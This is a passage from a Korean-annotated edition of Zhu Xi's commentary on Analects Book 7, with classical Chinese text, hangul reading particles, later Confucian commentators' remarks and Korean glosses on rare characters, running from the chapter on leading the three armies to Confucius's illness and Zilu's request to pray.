子路ㅣ蓋不知也라.\n問子行三軍則誰與朱子曰三軍要勇行三軍者要謀旣好謀然須要成事蓋人固有好謀而事不成者却亦不濟事又問謀在先成在後成非勇亦不能決曰然]\n○子行三軍則誰與宜作相與之與非許與之與好謀而成人固有好謀者然疑貳不決往往無成者多矣孔子行三軍其所與共事者必臨事而懼好謀而成者也]\n○好謀而成旣謀了須是果決去做敎成若徒謀而不成何益於事所謂作舍道旁三年不成者也臨事而懼是臨那事時又須審一審蓋閑時己自思量都是了都曉得了到臨事時又更審一審這懼字正如安而後能慮底慮字相似此本爲行三軍而發故就行師觀之尤見精密]\n○南軒張氏曰臨事而懼戒懼於事始則所以爲備者周矣好謀者或失於寡斷好謀而成則思慮審而其發也必中矣敬戒周密如此古之人所以能成天下之事而不失也豈獨可行三軍而已哉]\n○勉齋黃氏曰臨事而敬懼則有持重謹畏之心好謀而圖成則有周悉萬全之計敬其事則無忽心無惰氣臨事必能戒懼非怯懦而恐懼也成其謀則不妄動不亟取於事必有一定之謀旣成而不愆于素自無僥倖速成之弊也無非抑其血氣之勇而敎之以義理之勇焉\n[怯:겁낼겁][懦:나약할유][僥:요행요,난장이][亟:빠를극]\n雙峯饒氏曰用之不行是好遯底人舍之不藏是好進底人自有兩樣謝氏謂不用求行舍之不藏只說得一邉(邊)\n[遯(돈,둔):달아나다(遁); 숨다(隱); 괘 이름(艮下乾上)]\n是以,惟顔子ㅣ爲,可以與[音預]於此라. 子路ㅣ 雖非有欲心者라. 然,未能無固必也요, 至以行三軍爲問하여는 則其論이 益卑矣라.[10-3-2]\n胡氏曰子路勇不自遏故有是問乃不用而求行舍之而不藏者\n[遏:막을알]\n夫子之言은 蓋因其失而救之라. 夫[音扶]不謀無成이요, 不懼必敗는 小事尙然이온 而況於行三軍乎아.[10-3-3]\n11. 子ㅣ曰 富而可求也인댄 雖執鞭之士라도 吾亦爲之어니와 如不可求인댄 從吾所好호리라[好去聲].[38]\n執鞭은 賤者之事라.\n新安倪氏曰太史公云假令晏子尙在願爲之執鞭其言本此]\n[倪(예):어린 아이; 끝; 나누다; 눈을 흘기다]\n設言,富若可求,則雖身爲賤役以求之라도 亦,所不辭라. 然,有命焉하야 非求之可得也,則安於義理而已矣니 何必徒取辱哉리오.\n陳氏曰此章爲中人以下假說言之耳命所以安中人義所以責君子.\n○ 蘇氏曰 聖人이 未嘗有意於求富也니 豈問.其可不可哉리오? 爲此語者는 特以明,其決不可求爾라. 楊氏曰 君子非惡[去聲]富貴而不求라. 以其在天하야 無可求之道也라.[11-1]\n朱子曰上句是假說之辭下句方是正意下句說從吾所好便見上句執鞭之士非所好矣更味而字雖字亦字可見文勢重在下句也須要子細看富而可求也一句上面自是虛意言而可求便是富本不可求矣此章最見得聖人言語渾成底氣象須要識得]\n○南軒張氏曰夫子謂富不可求者正於義不可故耳言使其於義而可則雖執鞭之士亦有時而可爲耳其如義不可求何則姑從吾所好而已吾所謂好者義是也然則所安以義而命蓋有不言者矣]\n○慶源輔氏曰蘇氏發得此章語脉分明楊氏又說得聖賢所以不求富貴之理確實二說相須其義始備]\n[脉(맥):훔쳐보다; 서로 보다; 보는 모양 (脈과 同字)]\n12. 子之所愼은 齊戰疾이러시다[齊側皆反].[40]\n齊之爲言은 齊[如字下同]也니 將祭而齊其思慮之不齊者하야 以交於神明也니,\n禮祭統及時將祭君子乃齊側皆反齊之爲言齊如字下同也齊不齊以致齊者也\n誠之至與不至와 神之享與不享이 皆決於此라. 戰,則衆之死生과, 國之存亡이 繫焉이요, 疾은 又,吾身之所以,死生存亡者니, 皆不可以不謹也라.\n楊氏曰夫子齊必變食行三軍必臨事而懼康子饋藥未達不敢嘗觀此則其愼可見\n○ 尹氏曰 夫子ㅣ無所不謹하니 弟子ㅣ記其大者耳라.[12-1]\n慶源輔氏曰聖人之心不待操而常存豈有不謹之時不謹之事哉特於此三者尤致謹故弟子記以乘敎.\n13. 子ㅣ 在齊聞韶하시고 三月을 不知肉味하사 曰 不圖爲樂之至於斯也호라.[41]\n史記에 三月上에 有'學之'二字라.\n新安陳氏曰學之三月學之久因以忘味之久否則三月字連下文無意味矣.\n不知肉味는 蓋心一於是,而不及乎他也라. 曰不意,舜之作樂이 至於如此之美니 則有,以極其情文之備하야\n記曰知禮樂之情者能作識禮樂之文者能述. ○慶源輔氏曰文聲音也情實也\n而不覺,其歎息之深也라. 蓋非聖人이면 不足以及此라.\n○ 范氏曰 韶는 盡美요, 又盡善이니, 樂之無以加此也라. 故,學之三月을 不知肉味하야 而歎美之如此하니, 誠之至요, 感之深也라.[13-1]\n朱子曰子聞韶音學之三月不知肉味學之一節不知如何今正好看其忘肉味處這裏便見得聖人之樂如是之美聖人之心如是之誠又曰聖人聞韶須是去學不解得只恁休了學之亦須數月方熟三月大約只是言其久不是眞箇足頭九十日至九十一日便知肉味想見韶樂之美是能感動人是能使人視端而行直某嘗謂今世人有目不見先王之禮有耳不得聞先王之樂此大不幸也.\n○問孔子聞韶學之三月不知肉味聖人殆亦固滯不化當食之時又不免心不在焉之病若何曰主一無適是學者之功聖人行事不可以此求之也更是舜之樂盡善盡美而孔子聞之深有所契于心者所謂得志行乎中國若合符節是以學之三月而不自知其忘味也\n○問心不在焉則食而不知其味是心不得其正也然夫子聞韶三月何故不知肉味曰也有時如此所思之事大而飮食不足以奪其心也且如發憤忘食吾嘗終日不食皆非常事以其所憤所思之大自不能忘也\n○問程子改三月爲音字如何曰彼以一日聞樂而三月忘味聖人不當固滯如此故爾然以史記考之則習之三月而忘肉味也旣有音字又自有三月字則非文之誤矣蘇氏說亦得之蘇氏曰孔子之於樂習其音知其數得其志知其人其於文王也見其穆然而深思見其高望而遠志見其黯然而黑頎然而長其於舜也可知是以三月而不知肉味\n[黯(암):시커멓다(深黑); 아득하다; 슬퍼하다(傷別貌).黯淡.黯然.黯黑][頎(기):헌걸차다(長貌)]\n○慶源輔氏曰夫子之學韶樂非但有以極其聲容節奏而已倂當與大舜無不幬載之德當時雍熙平成之治所謂盡善盡美之實而得之不趐如身有其事親歷其時也則其誠意之深而見於嘆息者如此誠非聖人不足以及是固非常情之所能測也\n[幬:휘장주][趐(혈):나아가다(進); 새가 떼로 날다(衆鳥叢飛)]\n○厚齋馮氏曰舜之後封於陳爲之後者得用先代之樂自陳敬仲奔齊而韶樂有傳當是時魯具四代之樂然恐不無差(舞에서無字의火(점)부분에 있는글자)韶之來最遠而獨得其傳於今夫子故曰韶盡美矣又盡善也殆謂是歟季札在魯觀韶雖極稱贊未必如在齊之善夫子是以學之而忘味之久\n○新安陳氏曰舜以上聖之德當極治之時作爲韶樂群聖之樂無以加於此者故夫子聞其音而學之忘味而深嘆美如此想如親見虞舜之聖身在雍熙之時契之以心而非徒聞之以耳也又按論語於韶凡三言之意者聞韶而學之最先謂盡美盡善次之告顔子以韶舞其最後歟\n14. 冉有ㅣ 曰 夫子ㅣ 爲衛君乎아 子貢이 曰 諾다 吾將問之호리라.[爲去聲][45]\n爲는 猶助也라. 衛君은 出公輒也라. 靈公이 逐其世子蒯[苦怪反]聵러니[五怪反] 公薨에 而國人이 立,蒯聵之子輒하야대 於是,晉納蒯聵하니 而輒拒之라. 時,孔子ㅣ 居衛하니 衛人ㅣ 以蒯聵ㅣ 得罪於父요, 而輒ㅣ 嫡孫當立이라. 故,冉有ㅣ 疑而問之라. 諾은 應辭也라.\n[冉가는털늘어질염][輒(첩):수레에 병장기 꽂는 틀(車兩輢),문득][蒯:기령풀괴][聵:배냇귀머거리외]\n朱子曰子以兵拒父是多少不順自不須疑而問冉有疑夫子爲衛君者以嫡孫承重之常法言之則輒於義或當立也故疑夫子助之.\n入曰 伯夷叔齊는 何人也잇고 曰 古之賢人也니라. 曰 怨乎잇가? 曰 求仁而得仁이어니 又何怨이리오. 出曰 夫子ㅣ 不爲也시러라.[46]\n伯夷叔齊는 孤竹君之二子라. 其父將死에 遺命立叔齊러니 父卒에 叔齊ㅣ遜伯夷한대 伯夷曰父命也라하고 遂逃去하니 叔齊ㅣ亦,不立而逃之한대 國人이 立其中子라. 其後武王ㅣ 伐紂에 夷齊ㅣ 扣馬而諫이러니 武王ㅣ 滅商한대 夷齊恥食周粟하야 去隱于首陽山이라가 遂餓而死라.[14-2-1]\n[扣:두드릴구]\n怨은 猶悔也라, 君子ㅣ 居是邦에 不非其大夫온 況其君乎아[14-2-3]筍子子道篇子路問曰魯大夫練而牀禮耶練小詳也孔子曰吾不知也子路出謂子貢曰吾以夫子爲無所不知夫子徒有所不知由問魯大夫練而牀禮耶夫子曰吾不知也子貢曰吾將爲汝問之問曰練而牀禮耶孔子曰非禮也子貢出謂子路曰夫子無所不知汝問非也禮居是邑不非其大夫\n故,子貢이 不斥衛君하고 而以夷齊爲問이어늘 夫子ㅣ 告之如此하니 則其不爲衛君을 可知矣라.[14-2-4]\n張氏曰子貢微其辭以測聖人之旨可謂善爲辭矣\n蓋伯夷ㅣ 以父命爲尊하고 叔齊ㅣ 以天倫爲重하니 其遜國也ㅣ 皆求,所以合乎天理之正하고 而卽乎人心之安이요,[14-2-5]雙峯饒氏曰兼此兩句方說得仁字盡\n旣而各得其志焉하얀 則視棄,其國을 猶,敝蹝[所爾反]爾니 何怨之有리오. 若,衛輒之據國拒父,而唯恐失之는 其不可,同年而語이 明矣라.[14-2-6]問二子之孫使無中子二子不成委先君之國而棄之必有當立者朱子曰伊川說叔齊當立看來叔齊雖以父命終非正理恐只當立伯夷曰伯夷終不肯立奈何日國有賢大臣必請於天子而立之不問其情願矣看來二子立得都不安以正理論之伯夷稍優\n○ 程子曰 伯夷,叔齊ㅣ 遜國而逃하고, 諫伐而餓호되 終無怨悔니,[14-2-7]\n新安陳氏曰兼諫伐言所以廣其不悔之實\n夫子ㅣ以爲賢이라. 故,知其不與輒也라.[14-2-8]問子貢問衛君事朱子曰若使子貢當時徑問輒事不唯夫子或不答便做答時亦不能如此詳盡若只問伯夷叔齊何人也曰古之賢人也亦未見分曉所謂賢人如君子而不仁者有矣亦如何便見得出處一時皆當豈無怨悔處只再問怨乎便見得子貢善問纔說道求仁而得仁又何怨便見得夷齊兄弟所處無非天理蒯輒父子所向無非人欲二者相去奚啻珷玞美玉直截天淵矣\n15. 子ㅣ 曰 飯疏食飮水하고 曲肱而枕之라도 樂亦在其中矣니 不義而富且貴는 於我에 如浮雲이니라[飯扶晩反食音嗣枕去聲樂音洛].[53]\n飯은 食之也요, 疏食는 麤飯也라. 聖人之心은 渾[上聲]然天理하야, 雖處困極이나 而樂亦,無不在焉이라.[15-1]\n新安陳氏曰他人視爲困極聖人樂無不在自不知其困極\n其視不義之富貴를 如,浮雲之無有하야 漠然,無,所動於其中也라.[15-2]\n朱子曰聖人表裏精粗無不昭徹其形骸雖是人其實只是一團天理所謂從心所欲不踰矩左來右去盡是天理如何不快活\n○樂亦在其中此樂與貧富自不相干是別自有樂處如氣壯底人遇熟亦不怕遇寒亦不怕氣虛則爲所動矣\n[怕:두려울파]\n○樂字在先理會得樂後方見不義而富貴於我如浮雲\n○ 程子曰 非樂,疏食飮水也라. 雖疏食飮水라도 不能改其樂也니, 不義之富貴를 視之輕如浮雲然이라. 又曰 須知,所樂者ㅣ 何事니라.[15-3]朱子曰聖人之心無時不樂如元氣流行天地之間無一處之不到無一時之或息也豈以貧富貴賤之異而有所輕重於其間哉夫子言此蓋卽當時所處而明其樂之未嘗不在乎此而無所慕於彼耳記此者列此以繼衛君之事其亦不無意乎\n16. 子ㅣ 曰 加我數年하야 五十以學易이면 可以無大過矣리라.[56]\n劉聘君이 見,元城劉忠定公한대,[名安世字器之大名府元城人] 自言,嘗讀他論호니 加는 作假라. 五十은 作卒이니 蓋加假는 聲,相近而誤讀이요, 卒與,五十은 字,相似而誤分也라. 愚按호니, 此章之言은 史記에 作,假我數年하야 若是면 我於易,則彬彬矣라하니, 加는 正作假하고, 而無五十字니, 蓋是時에 孔子ㅣ年已幾[平聲]七十矣니, 五十字誤는 無疑也라.[16-1]孔子世家孔子晩而喜易序彖繫象說卦文言讀易韋編三絶曰假我數年若是我於易則彬彬矣\n學易,則明,乎吉凶消長[上聲]之理와 進退存亡之道라.[16-2]\n胡氏曰吉凶消長以言進退存亡以人事言]\n故,可以無大過라. 蓋聖人이 深見,易道之無窮하고 而言此以敎人하야 使知,其不可不學,而又,不可,以易[去聲]而學也라.[16-3]朱子曰聖人一生學問未嘗自說無過至此境界方言無大過猶似有小過在雖是謙辭然道理眞實無窮盡期說者當看此等爲聖人氣象\n17. 子所雅言은 詩書執禮ㅣ 皆雅言也러시다.[60]\n雅는 常也라. 執은 守也라. 詩以理情性하고,\n新安陳氏曰治之使情性得其正\n書以道政事하고,[述帝王之政事] 禮以謹節文하니, 皆切於日用之實이라. 故,常言之라. 禮,獨言執者는 以,人所執守而言이요, 非徒,誦說而已也라.[17-1]朱子曰詩書尙是口說得底惟禮要當執守執禮亦是當時自有此名\n○ 程子曰 孔子ㅣ雅素之言이 止於如此요, 若性與天道는 則有,不可得而聞者니 要在黙而識之也라.[識音式謂不言而自得之] 謝氏曰 此因,學易之語而類記之라.[17-2]朱子曰古之儒者只是習詩書禮樂言執禮則樂在其中如易則掌於太卜春秋掌於史官學者兼通之不是正業只這詩書大而天道之精微細而人事之曲折無不在其中禮則節文度數聖人敎人亦只是許多事.\n18. 葉公이 問孔子於子路어늘 子路ㅣ 不對한대,[63]\n葉公은 楚葉縣,尹,沈諸梁이니, 字子高니, 僭稱公也라.新安陳氏曰楚子僭王其臣皆僭\n葉公ㅣ 不知孔子하니 必有,非所問而問者라. 故,子路不對하나, 抑亦,以聖人之德이 實有,未易[去聲]名言者與인저.[音余][18-1-1]新安陳氏曰一則葉公不足以知聖人一則子路自難以言語形容聖人\n子ㅣ 曰 女ㅣ 奚不曰 其爲人也ㅣ 發憤忘食하며 樂以忘憂하야 不知老之將至云爾오.[63]\n未得,則發憤而忘食하고, 已得,則樂之而忘憂하야 以是二者로 俛焉하고 日有孶孶[音滋]하야 而不知,年數之不足이라하니, 但自言,其好[去聲]學之篤爾라.[18-2-1]禮表記小雅曰高山仰止景行行止子曰詩之好仁如此鄕道而行中道而廢忘身之老也不知年數之不足也俛焉日有孶孶斃而後已\n然,深味之,則見其全體ㅣ 至極하야 純亦,不已之妙하니 有非聖人이면 不能及者라. 蓋凡夫子之自言이 類如此니, 學者ㅣ 宜致思焉이라.[18-2-2]朱子曰發憤忘食樂以忘憂不知老之將至云爾泛說若是謙辭然聖人之爲人自有不可及處直要做到底不做箇半間不界底人非是有所因眞箇或有所感發憤而至於忘食所樂之至而忘憂蓋有不知其然而不自知其老之將至也又如好古敏以求之自是謙詞學不厭敎不倦亦是謙詞當時如公西華子貢自能窺測聖人不可及處蓋聖人處已之謙若平易而其所以不可及者亦在其中矣.[窺:엿볼]\n19. 子ㅣ 曰 我非生而知之者라. 好古敏以求之者也로라[好去聲].[66]\n生而知之者는 氣質淸明하고 義理昭著하야 不待學而知也라. 敏은 速也니 謂汲汲也라. ○ 尹氏曰 孔子ㅣ 以生知之聖으로, 每云好學者는 非惟勉人也라. 蓋生而可知者는 義理爾니, 若,夫[音扶]禮樂名物古今事變은 亦必,待學而後에 有以,驗其實也라.[19-1]朱子曰聖人此等語皆是移向下以敎人亦是聖人看得地步闊自視猶有未滿足處所以其言如此非全無事實而但爲說辭也\n20. 子ㅣ 不語怪力亂神이러시다.[69]\n怪異,勇力,悖[音佩]亂之事는 非理之正이니 固聖人,所不語이요. 鬼神,造化之迹이니,[20-1]雙峯饒氏曰造化之迹指其屈伸往來之可見者言也天地造化之妙不可得而見所可見者其屈伸往來之迹耳\n雖非不正然이나 非,窮理之至면 有,未易[去聲]明者라. 故,亦,不輕以語[音御]人也라.[20-2]新安陳氏曰神與怪不同故以怪力亂總言表神而出之\n○ 謝氏曰 聖人이 語常而不語怪하고, 語德而不語力하고, 語治[去聲]而不語亂하고, 語人而不語神이라.[20-3]或問夫子於春秋紀灾(災)異戰伐簒亂於易禮論鬼神今曰不語何也朱子曰聖人平日常言蓋不及是其不得已而及之則於三者必有訓戒焉於神則論其理以曉當世之或非若世人之徒語而反以惑人也然其及之亦鮮矣.[簒:빼앗을찬,篡]\n21. 子ㅣ 曰 三人行에 必有我師焉이니 擇其善者而從之오, 其不善者而改之니라.[71]\n三人同行에 其一은 我也니 彼二人者ㅣ 一善一惡,則我從,其善而改其惡焉이니 是二人者ㅣ 皆我師也라.朱子曰人若以自脩爲心則擧天下萬物凡有感乎前者無不足以發吾義理之正善者固可師見不善者便恐懼脩省亦吾師也\n○ 尹氏曰 見賢思齊하고 見不賢而內自省,則善惡이 皆我之師니 進善이 其有窮乎아?[21-1]汪氏炎昶曰尹氏以見賢思齊章合此章說蓋取思齊自省可足此章之義也善固當從然不思與之齊未必能從不善固當改然不內自省則己有不善未必能改\n22. 子ㅣ 曰 天生德於予시니 桓魋ㅣ 其如予何리오[魋徒雷反].[72]\n桓魋는 宋司馬,向[式亮反]魋也니, 出於桓公 故로 又稱,桓氏라. 魋,欲害孔子어늘, 孔子ㅣ言,天旣賦,我以如是之德하니 則桓魋其奈我何리오하니, 言必,不能違天害己라.程子曰天生德於予此聖人極斷制以理.\n23. 子ㅣ 曰 二三子는 以我爲隱乎아. 吾無隱乎爾라. 吾無行而不與二三子者ㅣ 是丘也니라.[74]\n諸弟子ㅣ 以夫子之道ㅣ高深하야 不可幾[平聲]及이라. 故,疑其有隱하니 而不知聖人의 作止語黙이 無非敎也라. 故,夫子以此言으로 曉之러라. 與는 猶示也라.[23-1]朱子曰要緊只在吾無行不與二三子處須子細認聖人無不與二三子處在那裏凡日用飮食間皆要認得\n○ 程子曰 聖人之道ㅣ 猶天然하여 門弟子ㅣ 親炙而冀及之然後에 知其高且遠也라. 使誠以爲不可及,則趨向之心이 不幾於怠乎아. 故,聖人之敎ㅣ 常俯而就之如此하니 非獨,使.資質庸下者로 勉思企及이라. 而才氣高邁者도 亦,不敢躐易[去聲]而進也라.[23-2]問伊川言聖人敎人常俯就若是掠下一著敎人是聖人有隱乎爾何也朱子曰道有大小精粗大者精者固道也小者粗者亦道也觀中庸言大哉聖人之道洋洋乎發育萬物峻極于天此言道之大處優優大哉禮儀三百威儀三千是言道之小處聖人敎人就其小者近者敎人便是俯就然所謂大者精者亦只在此初無二致要在學者下學上達自見得耳在我則初無所隱也\n呂氏曰 聖人은 體道無隱하야 與,天象昭然하야 莫非至敎라. 常以示人이로되 而人自不察이라.[23-3]延平李氏曰孔子之示人其道昭然常在乎動靜俛仰視聽頻笑謦欬之間而未嘗隱也彼見之者自有淺深.\n24. 子以四敎하시니 文行忠信이라.[行去聲][74]\n程子曰 敎人에 以學文修行,而存忠信也니 忠信이 本也라.朱子曰敎不以文無由入銃與事理便是文詩書六藝皆文也如講說如何是孝弟只是文行所謂孝弟方是行又恐行之未誠實故又敎以忠信到得爲忠爲信時全在學者自去做方是實事\n25. 子ㅣ 曰 聖人을 吾不得而見之矣어든 得見君子者면 斯可矣니라.[80]\n聖人은 神明不測之號요, 君子는 才德出衆之名이라.朱子曰有德而有才方見於用如有德而無才則不能爲用亦何足爲君子.\n子ㅣ 曰 善人을 吾不得而見之矣어든 得見有恒者면 斯可矣니라.[恒胡登反][81]\n子曰 字는 疑衍文이라. 恒은 常久之意라. 張子曰 有恒者는 不二其心이요, 善人者는 志於仁而無惡이라.朱子曰善人是資質好底人自然無惡有恒只是把捉得定又未到善人自然好處在然善人有恒皆未知學問者也.\n亡而爲有하며, 虛而爲盈하며, 約而爲泰면 難乎有恒矣니라.[82]\n三者는 皆虛夸之事니, 凡若此者는 必不能,守其常也라.問亡而爲有朱子曰正謂此皆虛夸之事不可以久是以不能常非謂此便是無常也.\n○ 張敬夫 曰 聖人,君子는 以學言이요, 善人有恒者는 以質言이라.[25-3-1]新安陳氏曰以學言者兼乎質以質言者則未學者也.\n愚謂호니, 有恒者之與聖人은 高下,固懸絶矣라. 然,未有,不自有恒,而能至於聖者也라. 故,章末에 申言,有恒之義하니 其示人,入德之門이 可謂,深切而著明矣라.[25-3-2]朱子曰聖人也只是這箇道理但是他理會得爛熟後似較聖樣其實只是這道理君子是事事做得去所謂君子不器善人則又不及君子只是知得有善有惡肯爲善而不肯爲惡耳有常者又不及善人只是較依本分.\n26. 子는 釣而不綱하시며 弋不射宿이러시다[射食亦反].[86]\n綱은 以大繩屬[音燭]網하야 絶流而漁者也라. 弋은 以生絲,繫矢而射也라. 宿은 宿鳥라.\n勿軒熊氏曰多能鄙事此亦可見.[弋:주살익]\n○ 洪氏 曰 孔子ㅣ 少[去聲]貧賤하사 爲養[並去聲]與祭에 或不得已而釣弋하니 如,獵較[音角]是也라. 然,盡物取之와[絶流而漁] 出其不意이[射宿] 亦不爲也니, 此可見,仁人之本心矣라.[26-1]慶源輔氏曰不曰聖人之本心而曰仁人之本心據此事只可謂之仁然曰本心則聖人亦不能加毫末於此矣.\n待物如此하니 待人可知요, 小者如此하니 大者可知라.[26-2]南軒張氏曰聖人之心天地生物之心也其親親而仁民仁民而愛物皆是心之發也然於物也有祭祀之須有奉養賓客之用則其取之也有不得免焉於是取之有時用之有節若夫子之不絶流不射宿則皆仁之至義之盡而天理之公也使夫子之得邦家則王政行焉鳥獸魚龞咸若矣若夫窮口腹以暴天物者則固人欲之私也而異端之敎遂至於禁殺茹蔬殞身飼獸而於其天性之親人倫之愛反恝然其無情也則亦豈得爲天理之公哉故梁武之不以血食祀宗廟與商紂之暴殄天物事雖不同然其咈天理以致亂亡則一而已.\n27. 子ㅣ 曰 蓋有不知而作之者아. 我無是也로라. 多聞擇其善者而從之하며, 多見而識之ㅣ 知之次也니라[識音志].[87]\n不知而作은 不知,其理而妄作也라.\n厚齋馮氏曰桑柔詩云予豈不知而作古有此語.\n孔子ㅣ 自言,未嘗妄作이라하니, 蓋亦謙辭라. 然,亦,可見,其無所不知也라. 識는 記也라. 所從을 不可不擇이요, 記則善惡을 皆當存之하야 以備參考하니, 如此者는 雖未能實知其理나 亦,可以次於知之者也라.[27-1]朱子曰知以心言得於聞見者次之聞見皆欲求其多否則聞見孤寡不足以爲學矣擇字生於從字識則未便有從意故不言擇善聞見亦是互相發明不可泥看.\n28. 互鄕은 難與言이러니, 童子見커늘 門人이 惑[見賢遍反]한대.[90]\n互鄕은 鄕名이니 其人이 習於不善하야 難與言善이라 惑者는 疑夫子ㅣ 不當見之也라.\n子ㅣ 曰 與其進也요, 不與其退也니, 唯何甚이리오. 人이 潔己以進이어든 與其潔也요, 不保其往也며,[90]\n(子曰 人潔己以進이어든 與其潔也요 不保其往也며 與其進也요 不與其退也니 唯何甚이리오)\n疑此章,有錯簡이라. 人潔至往也,十四字는 當在,與其進也之前이라. 潔은 修治也라. 與는 許也라. 往은 前日也라. 言,人潔己而來면 但許其能自潔耳요, 固不能,保其前日의 所爲之善惡也며, 但許,其進而來見耳요. 非許,其旣退而爲不善也라.[依改正次序釋五句] 蓋不追其旣往하며,[不保其往] 不逆其將來하니,[不與其退] 以是心至어든[潔已以進] 斯受之耳라. 唯字上下에 疑,又有闕文하니[唯字全無意] 大抵亦,不爲已甚之意라. ○ 程子曰 聖人이 待物之洪이 如此라.南軒張氏曰以互鄕之俗惡而童子又非得與先生長者抗禮者而夫子見之故門人惑焉夫子謂其進之志則善與其進而志善也而不與其退而不善也若於進而志善之時以其退而不善而拒之則何甚也聖人之心天也其有已甚者乎則又反復言之謂凡人潔已以進則當與其潔耳固不可保其往也此所謂顯比王用三驅至公之心也.\n29. 子ㅣ 曰 仁遠乎哉아. 我欲仁이면 斯仁이 至矣니라.[92]\n仁者는 心之德이니 非在外也로대 放而不求,故로 有以爲遠者나 反而求之,則卽此而在矣니 夫豈遠哉아? ○ 程子曰 爲仁由己니 欲之,則至니 何遠之有리오?朱子曰欲有好底如我欲仁可欲之謂善不是情欲之欲.\n30. 陳司敗ㅣ 問昭公이 知禮乎잇가 孔子ㅣ 曰 知禮시니라.[94]\n陳은 國名이요, 司敗는 官名이니, 卽司寇也라.\n胡氏曰左氏傳註陳楚名司寇爲司敗.\n昭公은 魯君이니, 名稠라[音疇]. 習於威儀之節하야 當時,以爲知禮라. 故,司敗,以爲問에 而孔子ㅣ 答之如此라.\n孔子ㅣ 退커늘 揖巫馬期而進之曰 吾聞君子는 不黨이라호니, 君子도 亦黨乎아. 君이 取於吳하니 爲同姓이라. 謂之吳孟子라하니 君而知禮면 孰不知禮리오.[取七住反][94]\n巫馬는 姓이요, 期는 字라. 孔子弟子니 名施라.[魯人] 司敗ㅣ揖而進之也라. 相助,匿非曰黨이라. 禮에 不取同姓이라하니 而魯與吳皆姬姓이라. 謂之吳孟子者는 諱之使若宋女,子姓者,然이라.禮坊記取妻不取同姓以厚別也故買妾不知其姓則卜之以此坊民魯春秋猶去夫人之姓曰吳其死曰孟子卒.\n巫馬期ㅣ 以告한대, 子ㅣ 曰 丘也ㅣ 幸이로다. 苟有過어든 人必知之온여.[95]\n孔子ㅣ不可,自謂諱君之惡이요, 又,不可,以取同姓을 爲知禮라. 故,受以爲過而不辭라. ○ 吳氏曰 魯는 蓋夫子ㅣ父母之國이요, 昭公은 魯之先君也라. 司敗ㅣ又,未嘗顯言其事하고 而遽以知禮爲問하니 其對之ㅣ 宜如此也라. 及司敗以爲有黨하여는 而夫子ㅣ受以爲過하니 蓋夫子之盛德이 無所不可也라.慶源輔氏曰此以有過而人知爲幸又可乘敎以警夫護疾忌醫者.\n然이나 其受以爲過也에 亦不正言其所以過하여 初若不知孟子之事者하시니 可以爲萬世之法矣로다.問昭公取同姓之事若天王擧法則如何斷朱子曰此非昭公故爲之也當時吳盛强中國無伯主以齊景公猶云旣不能令又不受命涕出而女於吳若昭公亦是藉其勢不得已之故非貪其色而然也天王擧法則罪固不免亦須原情自有處置況不曰孟姬而曰吳孟子則昭公亦已自知其非矣.\n31. 子ㅣ 與人歌而善이어든 必使反之하시고 而後和之러시다.[和去聲][98]\n反은 復也라. 必使復歌者는 欲得其詳,而取其善也요, 而後和之者는 喜得其詳,而與其善也라.朱子曰子與人歌而善必使反之而後和之今世間人與那人說話那人正說得好自家便從中截斷如云已自理會得不消說之類以此類看聖人是甚氣象與人歌且敎他自歌一終了方今再歌而後和之不於其初歌便和恐混雜他不盡其意此見聖人與人爲善.\n此는 見,聖人氣象從[七容反]容하고, 誠意懇至하며, 而其謙遜審密하야 不掩人善이 又,如此니 蓋一事之微에 而衆善之集을 有,不可勝[平聲]旣者焉이니, 讀者ㅣ宜詳味之라.[31-1]朱子曰聖人天縱多能其於小藝不待取於人而後足乃欲得其詳如此其謙遜謹審可知也然若不待其曲終而遽和之則幾於伐已之能以掩彼之善矣故必俟其曲終而盡見其首尾節奏之善然後又使復歌而始和之則旣不失其與人爲善之意而又不掩其善也然此亦聖人動容周旋自然而中非有意於爲之也抑又見其從容不迫不輕信而易悅之意.\n32. 子ㅣ 曰 文莫吾猶人也아. 躬行君子는 則吾未之有得호라.[98]\n莫은 疑辭라. 猶人은 言,不能過人,而尙可以及人이라. 未之有得은 則全未有得이니, 皆自謙之辭로대 而足以見,言行[去聲]之難易[去聲]緩急이니, 欲,人之勉其實也라.慶源輔氏曰勉人爲其實而不廢其文但有先後緩急之序耳.\n○ 謝氏曰 文은 雖聖人이라도 無不與人同이라. 故,不遜이요, 能,躬行君子는 斯可以入聖이라. 故,不居하니, 猶言,君子道者ㅣ 三에 我無能焉이라.[32-1]朱子曰文莫吾猶人也莫是疑辭猶今人云莫是如此否言文則吾與人一般如云聽訟吾猶人也若躬行君子則吾未之有得此與君子之道四丘未能一焉之意同\n33. 子ㅣ 曰 若聖與仁은 則吾豈敢이리오. 抑爲之不厭하며, 誨人不倦은 則可謂云爾已矣니라. 公西華ㅣ 曰 正唯弟子ㅣ 不能學也로소이다.[102]\n此는 亦,夫子之謙辭也라. 聖者는 大而化之요, 仁은 則心德之全,而人道之備也라.勿軒熊氏曰聖則仁之熟而至於化矣聖非出於仁之外也.\n○ 爲之는 謂爲,仁聖之道요. 誨人은 亦謂,以此敎人也라.朱子曰他也不曾說是仁聖但爲之畢竟是箇甚麽誨人是箇甚麽.\n然,不厭不倦은 非己有之,則不能이니, 所以,弟子不能學也라.雲峯胡氏曰此雖夫子不敢當聖與仁之名而愈見夫子有聖與仁之實\n○ 晁[音潮]氏[名說之字以道淸豊人]曰 當時에 有稱夫子ㅣ聖且仁者라. 以故,夫子ㅣ 辭之니 苟辭之而已焉,則無以進,天下之材하며, 率,天下之善하야 將使聖與仁으로 爲,虛器而人,終莫能至矣라.[33-1]新安陳氏曰聖仁之道若天下無一人能與於此是終爲虛器而無人能實之矣.\n故,夫子ㅣ 雖不居仁聖이나 而必以,爲之不厭,誨人不倦으로 自處[上聲]也라. 可謂,云爾已矣者는 無他之辭也라. 公西華ㅣ 仰而歎之하니, 其亦深知,夫子之意矣라.[33-2]朱子曰夫子固多謙辭到得說抑爲之不厭誨人不倦公西華便識得所以有正唯弟子不能學也之說便說道聖人有不讓處.\n34. 子ㅣ 疾病이어시늘, 子路ㅣ 請禱한대, 子ㅣ 曰, 有諸아. 子路ㅣ 對曰 有之하니 誄에 曰 禱爾于上下神祗라하더소이다. 子ㅣ 曰 丘之禱ㅣ 久矣니라.[誄力軌反][105]\n禱는 謂,禱於鬼神이라. 有諸는 問,有此理否라. 誄者는 哀死而述其行[去聲下素行同]之辭也라.\n厚齋馮氏曰士有誄累生時德行以賜之命則誄周官六辭六曰誄是也禱疾亦誄其功德故謂之誄云.\n上下는 謂,天地니, 天曰神이요, 地曰祗라. 禱者는 悔過遷善하야, 